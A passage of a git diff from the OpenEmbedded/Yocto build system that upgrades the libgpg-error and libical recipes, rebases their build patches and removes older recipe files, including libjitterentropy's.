- $(AWK) -f $(srcdir)/mkstrtable.awk -v textidx=2 -v nogettext=1 \
-- -v prefix=GPG_ERR_ -v namespace=errnos_ \
-+ -v prefix=GPG_ERR_ -v pkg_namespace=errnos_ \
- $(srcdir)/errnos.in >$@
-
-
---- a/src/mkerrcodes.awk
-+++ b/src/mkerrcodes.awk
-@@ -85,7 +85,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
---- a/src/mkerrcodes1.awk
-+++ b/src/mkerrcodes1.awk
-@@ -81,7 +81,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
---- a/src/mkerrcodes2.awk
-+++ b/src/mkerrcodes2.awk
-@@ -91,7 +91,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
---- a/src/mkerrnos.awk
-+++ b/src/mkerrnos.awk
-@@ -83,7 +83,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
---- a/src/mkstrtable.awk
-+++ b/src/mkstrtable.awk
-@@ -77,7 +77,7 @@
- #
- # The variable prefix can be used to prepend a string to each message.
- #
--# The variable namespace can be used to prepend a string to each
-+# The variable pkg_namespace can be used to prepend a string to each
- # variable and macro name.
-
- BEGIN {
-@@ -102,7 +102,7 @@ header {
- print "/* The purpose of this complex string table is to produce";
- print " optimal code with a minimum of relocations. */";
- print "";
-- print "static const char " namespace "msgstr[] = ";
-+ print "static const char " pkg_namespace "msgstr[] = ";
- header = 0;
- }
- else
-@@ -110,7 +110,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
-@@ -150,7 +150,7 @@ END {
- else
- print " gettext_noop (\"" last_msgstr "\");";
- print "";
-- print "static const int " namespace "msgidx[] =";
-+ print "static const int " pkg_namespace "msgidx[] =";
- print " {";
- for (i = 0; i < coded_msgs; i++)
- print " " pos[i] ",";
-@@ -158,7 +158,7 @@ END {
- print " };";
- print "";
- print "static GPG_ERR_INLINE int";
-- print namespace "msgidxof (int code)";
-+ print pkg_namespace "msgidxof (int code)";
- print "{";
- print " return (0 ? 0";
-
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
index ca5f6b5c25..6b9b623b54 100644
--- a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
+++ b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
@@ -1,9 +1,9 @@
-From ec309e20b5a27d42a5fb915c328d61e924ab5f19 Mon Sep 17 00:00:00 2001
+From 52aae746760ce5b88e61ce994f5055e4ce809821 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Thu, 29 Mar 2018 15:12:17 +0800
Subject: [PATCH] support pkgconfig
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [gnupg upstream will not take this, it has been tried with other components]
Rebase to 1.28
@@ -11,18 +11,17 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
Refactored for 1.33
Signed-off-by: Armin Kuster <akuster808@gmail.com>
+Signed-off-by: Zheng Ruoqin <zhengrq.fnst@cn.fujitsu.com>
---
- configure.ac | 1 +
- src/gpg-error.m4 | 71 +++--------------------------------------------------
- 4 files changed, 18 insertions(+), 69 deletions(-)
- create mode 100644 src/gpg-error.pc.in
+ src/gpg-error.m4 | 160 +----------------------------------------------
+ 1 file changed, 3 insertions(+), 157 deletions(-)
-Index: libgpg-error-1.33/src/gpg-error.m4
-===================================================================
---- libgpg-error-1.33.orig/src/gpg-error.m4
-+++ libgpg-error-1.33/src/gpg-error.m4
-@@ -26,139 +26,13 @@ dnl is added to the gpg_config_script_wa
+diff --git a/src/gpg-error.m4 b/src/gpg-error.m4
+index 56a5d07..28920ae 100644
+--- a/src/gpg-error.m4
++++ b/src/gpg-error.m4
+@@ -27,157 +27,12 @@ dnl is added to the gpg_config_script_warn variable.
dnl
AC_DEFUN([AM_PATH_GPG_ERROR],
[ AC_REQUIRE([AC_CANONICAL_HOST])
@@ -31,12 +30,10 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- dnl since that is consistent with how our three siblings use the directory/
- dnl package name in --with-$dir_name-prefix=PFX.
- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
- [prefix where GPG Error is installed (optional)]),
- [gpg_error_config_prefix="$withval"])
-+ min_gpg_error_version=ifelse([$1], ,0.0,$1)
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
-
+-
- dnl Accept --with-gpg-error-prefix and make it work the same as
- dnl --with-libgpg-error-prefix above, for backwards compatibility,
- dnl but do not document this old, inconsistently-named option.
@@ -66,45 +63,79 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- min_gpg_error_version=ifelse([$1], ,1.33,$1)
- ok=no
-
-- if test "$prefix" = NONE ; then
-- prefix_option_expanded=/usr/local
-- else
-- prefix_option_expanded="$prefix"
-- fi
-- if test "$exec_prefix" = NONE ; then
-- exec_prefix_option_expanded=$prefix_option_expanded
-- else
-- exec_prefix_option_expanded=$(prefix=$prefix_option_expanded eval echo $exec_prefix)
-- fi
-- libdir_option_expanded=$(prefix=$prefix_option_expanded exec_prefix=$exec_prefix_option_expanded eval echo $libdir)
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
-
-- if test -f $libdir_option_expanded/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$libdir_option_expanded
-- else
-- if crt1_path=$(${CC:-cc} -print-file-name=crt1.o 2>/dev/null); then
-- if possible_libdir=$(cd ${crt1_path%/*} && pwd 2>/dev/null); then
-- if test -f $possible_libdir/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$possible_libdir
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
- fi
-- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
+- else
+- # When we cannot determine system libdir-format, use this:
+- gpgrt_libdir=${possible_libdir1}
- fi
+- else
+- unset GPGRT_CONFIG
- fi
-
-- if test "$GPG_ERROR_CONFIG" = "no" -a -n "$gpgrt_libdir"; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
-- else
-- unset GPGRT_CONFIG
-- fi
+- unset GPGRT_CONFIG
- fi
-- else
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
- fi
- if test "$GPG_ERROR_CONFIG" != "no"; then
@@ -125,24 +156,10 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- fi
- fi
- fi
-- if test -z "$GPGRT_CONFIG" -a -n "$gpgrt_libdir"; then
-- if test "$major" -gt 1 -o "$major" -eq 1 -a "$minor" -ge 33; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
-- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- else
-- unset GPGRT_CONFIG
-- fi
-- fi
-- fi
-- fi
- fi
- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
if test $ok = yes; then
- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
@@ -165,7 +182,7 @@ Index: libgpg-error-1.33/src/gpg-error.m4
fi
if test x"$gpg_error_config_host" != xnone ; then
if test x"$gpg_error_config_host" != x"$host" ; then
-@@ -174,15 +48,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+@@ -193,15 +48,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
fi
fi
else
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.36.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.36.bb
deleted file mode 100644
index b11ab0548d..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error_1.36.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-SUMMARY = "Small library that defines common error values for all GnuPG components"
-HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/gpg-error.h.in;beginline=2;endline=18;md5=cd91e3ad1265a0c268efad541a39345e \
- file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7"
-
-
-SECTION = "libs"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
- file://pkgconfig.patch \
- file://libgpg-error-1.36-gawk5-support.patch \
- "
-
-SRC_URI[md5sum] = "eff437f397e858a9127b76c0d87fa5ed"
-SRC_URI[sha256sum] = "babd98437208c163175c29453f8681094bcaf92968a15cafb1a276076b33c97c"
-
-BINCONFIG = "${bindir}/gpg-error-config"
-
-inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
-
-CPPFLAGS += "-P"
-do_compile_prepend() {
- TARGET_FILE=linux-gnu
- if [ ${TARGET_OS} = "mingw32" ]; then
- # There are no arch specific syscfg files for mingw32
- TARGET_FILE=
- elif [ ${TARGET_ARCH} = "arc" ]; then
- # ARC syscfg file is automatically aliased to i686-pc-linux-gnu
- TARGET_FILE=
- elif [ ${TARGET_OS} != "linux" ]; then
- TARGET_FILE=${TARGET_OS}
- fi
-
- case ${TARGET_ARCH} in
- aarch64_be) TUPLE=aarch64-unknown-linux-gnu ;;
- arm) TUPLE=arm-unknown-linux-gnueabi ;;
- armeb) TUPLE=arm-unknown-linux-gnueabi ;;
- i586|i686) TUPLE=i686-unknown-linux-gnu;;
- mips64*) TUPLE=mips64el-unknown-linux-gnuabi64 ;;
- mips*el) TUPLE=mipsel-unknown-linux-gnu ;;
- mips*) TUPLE=mips-unknown-linux-gnu ;;
- x86_64) TUPLE=x86_64-unknown-linux-gnu ;;
- ppc) TUPLE=powerpc-unknown-linux-gnu ;;
- ppc64) TUPLE=powerpc64-unknown-linux-gnu ;;
- ppc64le) TUPLE=powerpc64le-unknown-linux-gnu ;;
- *) TUPLE=${TARGET_ARCH}-unknown-linux-gnu ;;
- esac
-
- if [ -n "$TARGET_FILE" ]; then
- cp ${S}/src/syscfg/lock-obj-pub.$TUPLE.h \
- ${S}/src/syscfg/lock-obj-pub.$TARGET_FILE.h
- fi
-}
-
-do_install_append() {
- # we don't have common lisp in OE
- rm -rf "${D}${datadir}/common-lisp/"
- oe_multilib_header gpg-error.h gpgrt.h
-}
-
-FILES_${PN}-dev += "${bindir}/gpg-error"
-FILES_${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.44.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.44.bb
new file mode 100644
index 0000000000..41adad0ede
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error_1.44.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Small library that defines common error values for all GnuPG components"
+DESCRIPTION = "Contains common error codes and error handling functions used by GnuPG, Libgcrypt, GPGME and more packages. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/gpg-error.h.in;beginline=2;endline=18;md5=d82591bc81561f617da71e00ff4a9d79 \
+ file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7 \
+ "
+
+
+SECTION = "libs"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
+ file://pkgconfig.patch \
+ file://0001-Do-not-fail-when-testing-config-scripts.patch \
+ "
+
+SRC_URI[sha256sum] = "8e3d2da7a8b9a104dd8e9212ebe8e0daf86aa838cc1314ba6bc4de8f2d8a1ff9"
+
+BINCONFIG = "${bindir}/gpg-error-config"
+
+inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
+
+CPPFLAGS += "-P"
+
+do_install:append() {
+ # we don't have common lisp in OE
+ rm -rf "${D}${datadir}/common-lisp/"
+ oe_multilib_header gpg-error.h gpgrt.h
+}
+
+FILES:${PN}-dev += "${bindir}/gpg-error"
+FILES:${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch b/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
deleted file mode 100644
index b7b757d74b..0000000000
--- a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From e33bc310238bba1690f2c71ad333e10b9e422ea9 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
-Date: Sat, 19 Oct 2019 14:23:06 +0200
-Subject: [PATCH] Use our hand-build native src-generator
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- src/libical-glib/CMakeLists.txt | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libical-glib/CMakeLists.txt b/src/libical-glib/CMakeLists.txt
-index f3704e6..ce9db16 100644
---- a/src/libical-glib/CMakeLists.txt
-+++ b/src/libical-glib/CMakeLists.txt
-@@ -63,8 +63,8 @@ endforeach()
-
- add_custom_command (
- OUTPUT ${LIBICAL_GLIB_SOURCES} ${CMAKE_CURRENT_BINARY_DIR}/libical-glib-private.h ${CMAKE_CURRENT_BINARY_DIR}/i-cal-forward-declarations.h
-- COMMAND ${EXECUTABLE_OUTPUT_PATH}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-- DEPENDS ${EXECUTABLE_OUTPUT_PATH}/src-generator ${xml_files}
-+ COMMAND ${CMAKE_BINARY_DIR}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-+ DEPENDS ${CMAKE_BINARY_DIR}/src-generator ${xml_files}
- )
-
- configure_file(
---
-2.21.0
-
diff --git a/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch b/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch
new file mode 100644
index 0000000000..3841c060ee
--- /dev/null
+++ b/meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch
@@ -0,0 +1,33 @@
+From c06d8a8990c996cbb854508a944202ba70ba7a7c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 3 Mar 2022 20:10:04 -0800
+Subject: [PATCH] cmake: Do not export CC into gir compiler
+
+this helps cross compilers where full compiler commandline defines the
+compiler rather than just CC variable, therefore let it use the default
+values from environment and not synthesize it from CMAKE_C_COMPILER just
+for this case.
+
+Upstream-Status: Submitted [https://github.com/libical/libical/pull/552]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ cmake/modules/GObjectIntrospectionMacros.cmake | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/cmake/modules/GObjectIntrospectionMacros.cmake b/cmake/modules/GObjectIntrospectionMacros.cmake
+index 83aff931..d7d3f898 100644
+--- a/cmake/modules/GObjectIntrospectionMacros.cmake
++++ b/cmake/modules/GObjectIntrospectionMacros.cmake
+@@ -50,8 +50,7 @@ macro(gir_add_introspections introspections_girs)
+ set(_gir_libtool "--no-libtool")
+
+ add_custom_command(
+- COMMAND ${CMAKE_COMMAND} -E env "CC='${CMAKE_C_COMPILER}'"
+- ${GObjectIntrospection_SCANNER}
++ COMMAND ${GObjectIntrospection_SCANNER}
+ ${GObjectIntrospection_SCANNER_ARGS}
+ --namespace=${_gir_namespace}
+ --nsversion=${_gir_version}
+--
+2.35.1
+
diff --git a/meta/recipes-support/libical/libical_3.0.14.bb b/meta/recipes-support/libical/libical_3.0.14.bb
new file mode 100644
index 0000000000..58baf3f32f
--- /dev/null
+++ b/meta/recipes-support/libical/libical_3.0.14.bb
@@ -0,0 +1,55 @@
+SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
+DESCRIPTION = "An Open Source implementation of the iCalendar protocols \
+and protocol data units. The iCalendar specification describes how \
+calendar clients can communicate with calendar servers so users can store \
+their calendar data and arrange meetings with other users. "
+HOMEPAGE = "https://github.com/libical/libical"
+BUGTRACKER = "https://github.com/libical/libical/issues"
+LICENSE = "LGPL-2.1-only | MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
+ file://LICENSE.LGPL21.txt;md5=933adb561f159e7c3da079536f0ed871 \
+ file://LICENSE.MPL2.txt;md5=f75d2927d3c1ed2414ef72048f5ad640 \
+ "
+SECTION = "libs"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz \
+ file://0001-cmake-Do-not-export-CC-into-gir-compiler.patch \
+ "
+SRC_URI[sha256sum] = "4284b780356f1dc6a01f16083e7b836e63d3815e27ed0eaaad684712357ccc8f"
+UPSTREAM_CHECK_URI = "https://github.com/libical/libical/releases"
+
+inherit cmake pkgconfig gobject-introspection vala
+
+DEPENDS += "libical-native"
+
+PACKAGECONFIG ??= "icu glib"
+PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
+PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
+# ICU is used for RSCALE (RFC7529) support
+PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
+
+# No need to use perl-native, the host perl is sufficient.
+EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
+# Disable the test suite as we can't install it
+EXTRA_OECMAKE += "-DLIBICAL_BUILD_TESTING=false"
+# doc build fails with linker error (??) for libical-glib so disable it
+EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
+# gobject-introspection
+EXTRA_OECMAKE:append:class-target = " -DGObjectIntrospection_COMPILER=${STAGING_BINDIR}/g-ir-compiler-wrapper"
+EXTRA_OECMAKE:append:class-target = " -DGObjectIntrospection_SCANNER=${STAGING_BINDIR}/g-ir-scanner-wrapper"
+EXTRA_OECMAKE += "-DVAPIGEN=${STAGING_BINDIR_NATIVE}/vapigen"
+EXTRA_OECMAKE += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DGOBJECT_INTROSPECTION=ON -DICAL_GLIB_VAPI=ON', '-DGOBJECT_INTROSPECTION=OFF', d)}"
+
+# Tell the cross-libical where the tool it needs to build is
+EXTRA_OECMAKE:append:class-target = " -DIMPORT_ICAL_GLIB_SRC_GENERATOR=${STAGING_LIBDIR_NATIVE}/cmake/LibIcal/IcalGlibSrcGenerator.cmake"
+
+do_install:append () {
+ # Remove build host references (https://github.com/libical/libical/issues/532)
+ sed -i \
+ -e 's,${STAGING_LIBDIR},${libdir},g' \
+ -e 's,${STAGING_INCDIR},${includedir},g' \
+ ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake \
+ ${D}${libdir}/cmake/LibIcal/Ical*.cmake
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libical/libical_3.0.6.bb b/meta/recipes-support/libical/libical_3.0.6.bb
deleted file mode 100644
index f9be898a12..0000000000
--- a/meta/recipes-support/libical/libical_3.0.6.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
-HOMEPAGE = "https://github.com/libical/libical"
-BUGTRACKER = "https://github.com/libical/libical/issues"
-LICENSE = "LGPLv2.1 | MPL-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
- file://LICENSE.LGPL21.txt;md5=933adb561f159e7c3da079536f0ed871 \
- file://LICENSE.MPL2.txt;md5=9741c346eef56131163e13b9db1241b3"
-SECTION = "libs"
-
-SRC_URI = " \
- https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz \
- file://0001-Use-our-hand-build-native-src-generator.patch \
-"
-SRC_URI[md5sum] = "463a59244c6767b8e67b29379405e297"
-SRC_URI[sha256sum] = "5c8a21c2b732ece4a33e5c862970b4f35a8548bbcda50de5695f6fc211ac4d97"
-UPSTREAM_CHECK_URI = "https://github.com/libical/libical/releases"
-
-inherit cmake pkgconfig
-
-do_compile_prepend() {
- # As long as https://github.com/libical/libical/issues/394 is open build native src-generator manually
- NATIVE_CFLAGS="${BUILD_CFLAGS} `pkg-config-native --cflags glib-2.0` `pkg-config-native --cflags libxml-2.0`"
- NATIVE_LDFLAGS="${BUILD_LDFLAGS} `pkg-config-native --libs glib-2.0` `pkg-config-native --libs libxml-2.0`"
- ${BUILD_CC} $NATIVE_CFLAGS ${S}/src/libical-glib/tools/generator.c ${S}/src/libical-glib/tools/xml-parser.c -o ${B}/src-generator $NATIVE_LDFLAGS
-}
-
-PACKAGECONFIG ??= "icu glib"
-PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
-PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
-# ICU is used for RSCALE (RFC7529) support
-PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
-
-# No need to use perl-native, the host perl is sufficient.
-EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
-# doc build fails with linker error (??) for libical-glib so disable it
-EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
-
-do_install_append () {
- # Remove build host references
- sed -i \
- -e 's,${STAGING_LIBDIR},${libdir},g' \
- ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake
-}
diff --git a/meta/recipes-support/libjitterentropy/files/0001-fix-do_install-failure-on-oe.patch b/meta/recipes-support/libjitterentropy/files/0001-fix-do_install-failure-on-oe.patch
deleted file mode 100644
index 30ff4feb6b..0000000000
--- a/meta/recipes-support/libjitterentropy/files/0001-fix-do_install-failure-on-oe.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 00cefca0eefecec657969b50cd4e1ed5b057a857 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 25 Oct 2018 16:30:06 +0800
-Subject: [PATCH] fix do_install failure on oe
-
-- Do not strip at do_install
-
-- Create includedir
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- Makefile | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 5e31276..76fcbfa 100644
---- a/Makefile
-+++ b/Makefile
-@@ -51,7 +51,8 @@ install:
- install -m 644 doc/$(NAME).3 $(DESTDIR)$(PREFIX)/share/man/man3/
- gzip -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(LIBDIR)
-- install -m 0755 -s lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
-+ install -m 0755 lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
-+ install -d -m 0755 $(DESTDIR)$(PREFIX)/$(INCDIR)/
- install -m 0644 jitterentropy.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- install -m 0644 jitterentropy-base-user.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- $(RM) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
---
-2.7.4
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_2.1.2.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_2.1.2.bb
deleted file mode 100644
index 3b5b4e4aa0..0000000000
--- a/meta/recipes-support/libjitterentropy/libjitterentropy_2.1.2.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Hardware RNG based on CPU timing jitter"
-DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
-It does not depend on any system resource other than a high-resolution time \
-stamp. It is a small-scale, yet fast entropy source that is viable in almost \
-all environments and on a lot of CPU architectures."
-HOMEPAGE = "http://www.chronox.de/jent.html"
-LICENSE = "GPLv2+ | BSD"
